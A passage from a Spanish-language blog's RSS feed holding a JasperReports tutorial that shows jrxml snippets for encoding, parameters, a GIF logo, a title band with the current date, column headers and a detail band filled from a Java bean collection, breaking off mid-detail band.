<p>Saludos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/01/29/debugueando-con-firebug-fuera-de-firefox/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/01/29/debugueando-con-firebug-fuera-de-firefox/</feedburner:origLink></item>
		<item>
		<title>Generar reporte de una colección de beans con JasperReport</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/vCwYvLvNWyg/</link>
		<comments>http://www.crysfel.com/index.php/2008/01/21/generar-reporte-de-una-coleccion-de-beans-con-jasperreport/#comments</comments>
		<pubDate>Mon, 21 Jan 2008 18:26:04 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Desarrollo]]></category>

		<category><![CDATA[Featured]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[Tutoriales]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2008/01/21/generar-reporte-de-una-coleccion-de-beans-con-jasperreport/</guid>
		<description><![CDATA[El día de hoy quiero continuar con el tutorial de JasperReport, he explicado una introducción a la estructura principal del reporte, el paso de  parámetros al reporte y como llenar un reporte desde una base de datos incluyendo el Query dentro del jrxml, en esta ocasión explicaré como llenar un reporte por medio de [...]]]></description>
			<content:encoded><![CDATA[<p>El día de hoy quiero continuar con el tutorial de JasperReport, he explicado <a href="http://www.crysfel.com/index.php/2007/06/19/introduccion-a-jasperreport">una introducción</a> a la estructura principal del reporte, el <a href="http://www.crysfel.com/index.php/2007/10/01/enviar-parametros-a-un-reporte-en-jasperreport">paso de  parámetros</a> al reporte y como llenar un reporte <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">desde una base de datos</a> incluyendo el Query dentro del jrxml, en esta ocasión explicaré como llenar un reporte por medio de una colección de objetos VO o DTO, como mejor los conozcas.</p>
<p><strong>Objetivos.</strong></p>
<ol>
<li>Cómo poner acentos y eñes dentro del reporte jrxml.</li>
<li>Poner una imagen en formato gif.</li>
<li>Generar la fecha actual del sistema y desplegarla en el reporte con un formato legible.</li>
<li>Pasarle la información al reporte por medio de una colección de beans.</li>
<li>Cómo poner títulos a las columnas de la información desplegada.</li>
<li>Realizar un reporte <a href="http://www.crysfel.com/wp-content/uploads/2008/01/plantilla.pdf">como este</a>.</li>
</ol>
<p>Una vez definidos los objetivos se puede apreciar el alcance de este tutorial y así decidir si al lector le conviene continuar con la lectura de este tutorial.</p>
<p><span id="more-55"></span></p>
<p><strong>Cómo poner acentos y eñes.</strong><br />
Lo primero es definir la cabecera del archivo jrxml, y dentro de este especificarle el encode a utilizar dentro del documento, generalmente el encode por de facto es UTF8, pero este encode no soporta los caracteres extendidos, que es donde se encuentran los acentuados y la eñe, es por eso que si no ponemos el encode correcto, al compilar el reporte obtendremos un error, para evitar esto, es necesario indicar que el encode a utilizar sea ISO-8859-1, el cual contiene los caracteres necesarios para el español.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;?xml</span> <span class="re0">version</span>=<span class="st0">&quot;1.0&quot;</span> <span class="re0">encoding</span>=<span class="st0">&quot;ISO-8859-1&quot;</span>&nbsp; <span class="re2">?&gt;</span></span><br />
<span class="sc0">&lt;!DOCTYPE jasperReport PUBLIC &quot;//JasperReports//DTD Report Design//EN&quot; </span><br />
<span class="sc0">&quot;http://jasperreports.sourceforge.net/dtds/jasperreport.dtd&quot;&gt;</span><br />
<span class="sc3"><span class="coMULTI">&lt;!--======================================================================================== --&gt;</span></span><br />
<span class="sc3"><span class="coMULTI">&lt;!--===================================== Por Crysfel Villa==================================== --&gt;</span></span><br />
<span class="sc3"><span class="coMULTI">&lt;!--======================================================================================== --&gt;</span></span></div></div>
<p><strong>Paso de parámetros e información.</strong><br />
Lo siguiente es pasarle algunos parámetros para desplegar el titulo, y el subtitulo, además de declararse las Fields de la información a desplegar en el reporte.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;jasperReport</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">name</span>=<span class="st0">&quot;plantilla&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">pageWidth</span>=<span class="st0">&quot;595&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">pageHeight</span>=<span class="st0">&quot;842&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">leftMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">rightMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">topMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">bottomMargin</span>=<span class="st0">&quot;20&quot;</span><span class="re2">&gt;</span></span><br />
<br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_TITULO&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_SUBTITULO&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;LOGO_URL&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;universidad&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;rector&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;direccion&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;alumnos&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.Integer&quot;</span><span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;/jasperReport<span class="re2">&gt;</span></span></span></div></div>
<p>A diferencia del <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a>, únicamente se le ha suprimido el Query que consultaba la base de datos, esto es por que ahora la información se le pasará directamente desde Java por medio de una colección de DTOs (Data Transfer Object).</p>
<p>Más adelante explicaré mas a detalle el paso de información, por ahora basta con declarar la información a desplegar en la parte del detail.</p>
<p><strong>Poner una imagen en formato gif.</strong><br />
En esta sección se definirá el background y la cabecera del documento, en el <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a> explique cómo hacerlo, el día de hoy será exactamente igual con la diferencia de  que en lugar de pasarle una imagen JPG se le pasará una imagen GIF, además de que las medidas y posiciones son diferentes, todo esto escrito en código es:</p>
<div class="codecolorer-container xml" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;background<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;67&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;image<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;430&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;100&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;67&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;imageExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$P{LOGO_URL}]]&gt;</span><span class="sc3"><span class="re1">&lt;/imageExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/image<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/background<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;title<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;90&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;40&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;30&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">isBold</span>=<span class="st0">&quot;true&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$P{P_TITULO}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;line</span> <span class="re0">direction</span>=<span class="st0">&quot;TopDown&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;69&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;line&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;graphicElement</span> <span class="re0">stretchType</span>=<span class="st0">&quot;NoStretch&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/line<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;70&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;250&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;textField&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$P{P_SUBTITULO}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField</span> <span class="re0">pattern</span>=<span class="st0">&quot;EEEEE dd MMMMM yyyy&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;260&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;70&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;270&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;textField&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement</span> <span class="re0">textAlignment</span>=<span class="st0">&quot;Right&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.util.Date&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[new java.util.Date()]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/title<span class="re2">&gt;</span></span></span></div></div>
<p>Hasta aquí no hay nada nuevo, excepto que en el campo donde se despliega la fecha, en lugar de sacarla de la base de datos como en el <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a>, ahora se generará directamente en el reporte, esto es muy sencillo de hacer, únicamente hay que crear una instancia de la clase Date dentro de la expresión del campo:</p>
<div class="codecolorer-container java" style="height:32px;"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">new</span> java.<span class="me1">util</span>.<span class="kw3">Date</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></div>
<p>El formato es exactamente igual al tutorial anterior.</p>
<p><strong>Poner títulos a las columnas.</strong><br />
Anteriormente no se le había agregado cabeceras a las columnas de la información, pero si había mencionado <a href="http://www.crysfel.com/index.php/2007/06/19/introduccion-a-jasperreport">en la introducción</a> que esto es posible, a continuación se muestra cómo por medio de la sección <strong>&lt;columnHeader&gt;</strong> se puede realizar.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;columnHeader<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;200&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span> <span class="re0">key</span>=<span class="st0">&quot;staticText&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;text<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[Universidad]]&gt;</span><span class="sc3"><span class="re1">&lt;/text<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;205&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;150&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;text<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[Rector]]&gt;</span><span class="sc3"><span class="re1">&lt;/text<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;360&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;150&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;text<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[Dirección]]&gt;</span><span class="sc3"><span class="re1">&lt;/text<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;490&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;100&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;text<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[Alumnos]]&gt;</span><span class="sc3"><span class="re1">&lt;/text<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/columnHeader<span class="re2">&gt;</span></span></span></div></div>
<p>Si te das cuenta, esta sección no tiene nada especial que no se haya cubierto en los tutoriales anteriores, simplemente son textos estáticos distribuidos en forma linear, es aquí donde se ha necesitado poner acentos, los cuales son correctamente soportados gracias a que se ha especificado el encoding correcto al inicio del documento.</p>
<p><strong>Desplegar la información principal.</strong><br />
Esta es la sección principal del reporte, las columnas donde se muestra la información. En el <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a> explicaba que esta sección es iterada sobre el data source provisto, anteriormente la consulta SQL generaba una colección de información regresada por la base de datos, en esta ocasión la colección se le pasará desde Java. Al diseñar el reporte esto no tiene ninguna implicación, simplemente se acomodan los campos en las posiciones deseadas, todo esto exactamente igual al <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a>, pero con diferente información a desplegar.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;detail<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;15&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;200&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{universidad}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;205&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;150&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{rector}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;360&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;150&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{direccion}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;515&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
